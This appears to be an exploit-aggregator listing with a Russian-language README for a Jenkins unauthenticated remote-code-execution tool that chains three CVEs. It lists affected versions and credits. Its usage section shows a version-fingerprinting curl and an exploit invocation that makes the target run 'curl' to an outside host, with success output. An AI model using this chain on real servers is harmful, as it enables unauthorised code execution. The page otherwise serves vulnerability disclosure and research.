Sploitus

Exploit for awesome-jenkins-rce-2019

kitploit · 2026-08-20

Exploit Code

MARKDOWN67 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ORANGETW-AWESOME-JENKINS-RCE-2019
# awesome-jenkins-rce-2019

С мая 2017 года в Jenkins не было RCE без аутентификации, но теперь есть!

Он объединяет CVE-2018-1000861, CVE-2019-1003005 и CVE-2019-1003029 для более надёжного и элегантного удалённого выполнения кода без аутентификации!

# Затронутые версии

  * ANONYMOUS_READ отключён

    * Версия Jenkins < 2.138
  * ANONYMOUS_READ включён (или при наличии обычной учётной записи)

    * Время сборки Jenkins < 2019-01-28



# Использование

root@kitploit:~
    
    
    $ curl -s -I http://jenkins/| grep X-Jenkins
    X-Jenkins: 2.137
    X-Jenkins-Session: 20f72c2e
    X-Jenkins-CLI-Port: 50000
    X-Jenkins-CLI2-Port: 50000
    
    $ python exp.py http://jenkins/ 'curl orange.tw'
    [*] ANONYMOUS_READ disable!
    [*] Bypass with CVE-2018-1000861!
    [*] Exploit success!(it should be :P)
    

# Протестировано на

  * Jenkins 2.53
  * Jenkins 2.122
  * Jenkins 2.137
  * Jenkins 2.138 с включённым ANONYMOUS_READ
  * Jenkins 2.152 с включённым ANONYMOUS_READ
  * Jenkins 2.153 с включённым ANONYMOUS_READ
  * Script Security Plugin 1.43
  * Script Security Plugin 1.48



# Благодарности

  * @orange_8361 за CVE-2018-1000861
  * @0ang3el за CVE-2019-1003005
  * @webpentest за CVE-2019-1003029



Часть слайдов из моего доклада на HITB AMS 2019:

![1.png](https://assets.kitploit.com/production/public/readmes/46090/33e04e51c4643c3bbff36f368b3a55b557b2be36820e3fc2755148f4436e1ac7.png) ![2.png](https://assets.kitploit.com/production/public/readmes/46090/f54edf069df26ea51d7a60dd09f90835a5f2261515024a6199c3c3d14998e44d.png) ![3.png](https://assets.kitploit.com/production/public/readmes/46090/7e1ab524b9829d8e5fcc9b38ec9c8149fc87fff9a52a9cba2a2a2b5c57ba96b0.png)

# Ссылки

  * Взлом Jenkins, часть 1: играем с динамической маршрутизацией
  * Взлом Jenkins, часть 2: злоупотребляем метапрограммированием для RCE без аутентификации
  * Бюллетень безопасности Jenkins 2018-12-05
  * Бюллетень безопасности Jenkins 2019-01-28
  * Бюллетень безопасности Jenkins 2019-03-06